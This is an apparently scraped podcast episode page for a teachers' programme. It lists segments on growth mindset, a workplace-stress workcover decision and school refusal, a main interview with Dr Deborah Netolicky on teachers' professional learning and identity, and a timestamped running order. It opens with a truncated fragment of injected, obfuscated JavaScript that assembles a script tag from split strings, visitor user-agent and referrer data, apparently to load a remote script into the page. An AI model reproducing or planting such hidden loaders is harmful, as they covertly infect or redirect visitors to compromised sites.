=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fddtz|var|u0026u|referrer|dthdb||js|php’.split(‘|’),0,{}))
url=”https://api.soundcloud.com/tracks/264203309″ params=”color=ff5500&auto_play=false&hide_related=false&show_comments=true&show_user=true&show_reposts=false” width=”100%” height=”166″ iframe=”true” /]
Regular features: Off Campus, Dan Haesler discusses the Growth Mindsent; Cameron discusses the recent workcover decision on workplace stress; Spotlight on Special Education, Tim Connel discusses school refusal
Main Feature: Dr Deborah Netolicky discusses her PhD research into the relationship between teachers’ professional learning and professional identity.
00.00 Opening Credits
01:19 Intro – ICTENSW Conference
03:25 Off Campus with Dan Haesler
12:30 Workcover decision re workplace stress
Telephone counselling
24:59 Spotlight on Special Education
33:17 Feature Introduction
35:02 Interview – Deborah Netolicky
1:01:38 Thoughts on Professional Learning
1:09:05 Quote & Sign Off
